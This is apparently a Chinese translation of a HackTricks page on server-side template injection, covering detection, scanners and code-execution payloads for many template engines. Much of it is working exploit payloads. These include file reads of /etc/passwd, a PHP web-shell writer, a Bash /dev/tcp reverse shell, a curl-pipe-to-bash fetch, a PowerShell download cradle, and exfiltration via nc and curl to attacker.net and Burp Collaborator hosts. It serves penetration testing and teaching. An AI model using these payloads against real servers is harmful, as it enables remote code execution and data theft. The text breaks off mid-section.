.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (服务器端模板注入)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或 关注我的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。
{% embed url="https://www.rootedcon.com/" %}
什么是SSTI(服务器端模板注入)
服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括Jinja。
Jinja是一种常用的用于Web应用程序的模板引擎。让我们考虑一个示例,演示使用Jinja的易受攻击代码片段:
output = template.render(name=request.args.get('name'))
在这个易受攻击的代码中,用户请求中的 name
参数直接通过 render
函数传递到模板中。这可能会让攻击者注入恶意代码到 name
参数中,导致服务器端模板注入。
例如,攻击者可以构造一个带有如下载荷的请求:
http://vulnerable-website.com/?name={{bad-stuff-here}}
在name
参数中注入{{bad-stuff-here}}
有效载荷。该有效载荷可以包含Jinja模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,潜在地控制服务器。
为防止服务器端模板注入漏洞,开发人员应确保用户输入在插入模板之前经过适当的清理和验证。实施输入验证并使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
检测
要检测服务器端模板注入(SSTI),最初,对模板进行模糊测试是一种直接的方法。这涉及将一系列特殊字符(${{<%[%'"}}%\
)注入到模板中,并分析服务器对常规数据与此特殊有效载荷的响应之间的差异。漏洞指标包括:
-
抛出错误,揭示漏洞并可能是模板引擎。
-
反射中有效载荷的缺失,或部分缺失,暗示服务器对其进行不同于常规数据的处理。
-
纯文本上下文:通过检查服务器是否评估模板表达式(例如,
{{7*7}}
,${7*7}
)来区分XSS。 -
代码上下文:通过更改输入参数来确认漏洞。例如,将
http://vulnerable-website.com/?greeting=data.username
中的greeting
更改为查看服务器输出是否动态或固定,例如greeting=data.username}}hello
返回用户名。
识别阶段
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。导致错误的常见有效载荷包括${7/0}
,{{7/0}}
和<%= 7/0 %>
。观察服务器对数学运算的响应有助于确定特定的模板引擎。
工具
TInjA
一款高效的SSTI + CSTI扫描器,利用新颖的多语言混合有效载荷
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
模板注入表
一个交互式表格,包含最有效的模板注入多语言混合代码,以及对44个最重要的模板引擎的预期响应。
攻击
通用
在这个单词列表中,您可以找到下面提到的一些引擎环境中定义的变量:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - 基本注入
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - 检索系统的环境变量
${T(java.lang.System).getenv()}
Java - 获取 /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
您可以在 https://try.freemarker.apache.org 尝试您的有效负载
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - 沙盒绕过
⚠️ 仅适用于版本低于2.3.30的Freemarker。
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
更多信息
- 在https://portswigger.net/research/server-side-template-injection的FreeMarker部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
更多信息
- 在Velocity部分https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
在Thymeleaf中,用于测试SSTI漏洞的常见表达式是${7*7}
,这也适用于这个模板引擎。对于潜在的远程代码执行,可以使用以下表达式:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf要求这些表达式放置在特定属性中。然而,对于其他模板位置,支持_expression inlining_,可以使用类似[[...]]
或[(...)]
的语法。因此,一个简单的SSTI测试有效载荷可能看起来像[[${7*7}]]
。
然而,这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的TemplateResolver
来从字符串中动态创建模板,这是不常见的。
Thymeleaf还提供_expression preprocessing_,其中双下划线(__...__
)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf文档中所演示的:
#{selection.__${sel.code}__}
Thymeleaf漏洞示例
考虑以下代码片段,可能容易受到利用:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
这表明,如果模板引擎未正确处理这些输入,可能会导致远程代码执行,访问类似以下的URL:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
更多信息
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
绕过过滤器
如果${...}
无效,请尝试使用#{...}
、*{...}
、@{...}
或~{...}
来使用多个变量表达式。
- 读取
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- 用于生成 payload 的自定义脚本
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
更多信息
Spring视图操作(Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble(Java)的旧版本(< 版本3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
新版本的Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava是一个功能强大的Java模板引擎,可以用于处理服务器端模板注入(Server-Side Template Injection)漏洞。这种漏洞允许攻击者执行任意代码,并可能导致敏感信息泄露。攻击者可以利用Jinjava模板引擎执行恶意代码,因此开发人员应该谨慎处理用户提供的输入,以防止此类漏洞的利用。
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava是由Hubspot开发的开源项目,可在https://github.com/HubSpot/jinjava/上找到。
Jinjava - 命令执行
已通过https://github.com/HubSpot/jinjava/pull/230修复。
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
更多信息
Hubspot - HuBL (Java)
{% %}
语句定界符{{ }}
表达式定界符{# #}
注释定界符{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了Github上的Jinjava项目.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
更多信息
表达式语言 - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
表达式语言 (EL) 是一项基本功能,有助于在 JavaEE 中的表示层(如网页)和应用逻辑(如托管 bean)之间进行交互。它在多个 JavaEE 技术中被广泛使用,以简化这种通信。利用 EL 的关键 JavaEE 技术包括:
- JavaServer Faces (JSF):使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
- JavaServer Pages (JSP):EL 用于在 JSP 中访问和操作数据,使页面元素与应用数据连接更加容易。
- Contexts and Dependency Injection for Java EE (CDI):EL 与 CDI 集成,允许 Web 层和托管 bean 之间无缝交互,确保更一致的应用程序结构。
查看以下页面以了解有关 EL 解释器利用 的更多信息:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
以下安全管理器绕过方法取自于这篇 writeup。
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。以促进技术知识为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
更多信息
- 在https://portswigger.net/research/server-side-template-injection的Smarty部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - 模板格式
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
更多信息
- 在Twig和Twig(沙盒)部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates(PHP)
Plates是一种原生于PHP的模板引擎,灵感来自Twig。然而,与引入新语法的Twig不同,Plates利用模板中的原生PHP代码,使其对PHP开发人员更直观。
控制器:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
页面模板:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
布局模板:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
更多信息
PHPlib 和 HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB 与 PHPlib 相同,但是移植到了 Pear。
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
Server-Side Template Injection (SSTI)
Description
Server-Side Template Injection (SSTI) occurs when an application allows user input to be evaluated as a template on the server. This can result in arbitrary code execution.
Exploitation
To exploit SSTI, an attacker can inject template code into user input fields that are later evaluated by the server. This can lead to data leakage, server compromise, and other serious security issues.
Prevention
To prevent SSTI, input validation and output encoding should be implemented to ensure that user input is not evaluated as code on the server. Additionally, using safe templating engines can help mitigate the risk of SSTI vulnerabilities.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
更多信息
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
更多信息
- 在Jade部分
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate是一个非编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分。
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
更多信息
Handlebars (NodeJS)
路径遍历(更多信息在这里)。
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = 错误
- ${7*7} = ${7*7}
- 无
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
更多信息
JsRender (NodeJS)
模板 | 描述 |
---|---|
评估和呈现输出 | |
评估和呈现HTML编码的输出 | |
注释 | |
和 | 允许代码(默认情况下禁用) |
- = 49
客户端
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
服务器端
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
更多信息
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
示例服务器端渲染
var pugjs = require('pug');
home = pugjs.render(injected_page)
更多信息
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = 无输出
- #{7*7} = #{7*7}
- {{console.log(1)}} = 错误
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
更多信息
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
更多信息
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
更多信息
Python
查看以下页面,了解有关在Python中绕过沙盒进行任意命令执行的技巧:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
更多信息
Jinja2 (Python)
Jinja2是Python的一个功能齐全的模板引擎。它具有完整的Unicode支持,可选的集成沙盒执行环境,被广泛使用并且采用BSD许可证。
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - 模板格式
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
不依赖 __builtins__
的 RCE:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
关于如何滥用Jinja的更多细节:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
更多信息
Razor (.Net)
@(2+2) <= 成功
@() <= 成功
@("{{code}}") <= 成功
@ <= 成功
@{} <= 错误!
@{ <= 错误!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET的System.Diagnostics.Process.Start
方法可用于在服务器上启动任何进程,从而创建Webshell。您可以在https://github.com/cnotin/RazorVulnerableApp找到一个易受攻击的Web应用示例。
更多信息
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= 无<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
更多信息
Mojolicious (Perl)
即使是 Perl,它也使用类似 Ruby 中的 ERB 标记。
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
GO中的SSTI
在Go的模板引擎中,可以使用特定的有效载荷来确认其使用方式:
{{ . }}
:显示数据结构输入。例如,如果传递了一个带有Password
属性的对象,则{{ .Password }}
可能会暴露它。{{printf "%s" "ssti" }}
:预期显示字符串"ssti"。{{html "ssti"}}
,{{js "ssti"}}
:这些有效载荷应返回"ssti",而不附加"html"或"js"。可以在Go文档中进一步探索更多指令这里。
XSS利用
使用text/template
包,可以通过直接插入有效载荷来简单地进行XSS。相反,html/template
包对响应进行编码以防止此问题(例如,{{"<script>alert(1)</script>"}}
的结果是<script>alert(1)</script>
)。然而,在Go中,模板定义和调用可以绕过此编码:
